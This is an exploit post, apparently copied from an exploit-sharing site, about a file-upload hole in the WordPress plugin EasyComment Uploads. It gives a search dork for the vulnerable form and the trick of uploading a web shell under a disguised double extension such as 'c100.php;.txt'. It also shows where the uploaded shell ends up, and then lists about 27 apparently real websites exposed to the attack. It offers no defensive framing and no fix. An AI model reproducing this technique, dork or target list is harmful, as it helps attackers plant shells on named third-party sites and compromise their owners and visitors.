WordPress Plugin EasyComment Upload Vulnerability

Assalamu'alaikum.

Title : Wordpress Plugin EasyComment Upload Vulnerability 

# Author: Z190T 

# Vendor: http://wordpress.org/extend/plugins/easy-comment-uploads/ 

# Email : mahruz.id@gmail.com# Date : 19/05/2011 

# Dork : "/easy-comment-uploads/upload-form.php"  

# Category  : PHP [File Upload Vulnerability]   

# Tested on: [Windows XP3, Linux Ubuntu]      

*_Exploit_*
# http://[localhost]/[path]/easy-comment-uploads/upload-form.php 

# http://[localhost]/easy-comment-uploads/upload-form.php
# File Extention [.txt],[.jpg],[gif],[bmp]  

*_Preview_*
# site/wp-content/uploads/[years]/[month]/[yourshell] 

# ex: site/wp-content/uploads/2011/05/c100.php;.txt

Tekape Mas Bro wkwkwk :)) ^_^ 

Hasil Uploadannya: site.com/wp-content/uploads/[years]/[month]/[yourshell] 

Part 1

http://forget-me-notpetcrematory.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://robbyvillegas.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.minecraftwatermelon.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.asecretgiftbook.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.davidcameronsdiary.co.uk/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.ritalee.com.br/blog/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.jerryjenningsmusic.com/blog/wp-content/plugins/easy-comment-uploads/upload-form.php
http://dunia.corner.info/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.10000mile.com/main/wp-content/plugins/easy-comment-uploads/upload-form.php
http://m.centralsingapore.org.sg/pscms/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.tremblantbar.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://qiqer.ru/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.china-gadgets.de/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.htc-hub.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://joplinmemorial.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://brightonrockers.com/wp-content/plugins/easy-comment-uploads/upload-form.php 

Part2

http://www.tonicfoodclub.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.exploitedhusbands.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://romsey.blurryfox.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://equator-indonesia.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://hodgesfamilyreunion.net/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.top100todo.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://brownsupport.com/micholle/wp-content/plugins/easy-comment-uploads/upload-form.php
http://the-how-to-cook-it-site.com/wp-content/plugins/easy-comment-uploads/upload-form.php
http://www.conversationworks.ca/wp-content/plugins/easy-comment-uploads/upload-form.php
http://jesuisunique.fr/wp-content/plugins/easy-comment-uploads/upload-form.php
http://blogbayu.com/wp-content/plugins/easy-comment-uploads/upload-form.php

Source : http://www.exploit-id.com/web-applications/wordpress-plugin-easycomment-upload-vulnerability

Wassalamu'alaikum

Share this post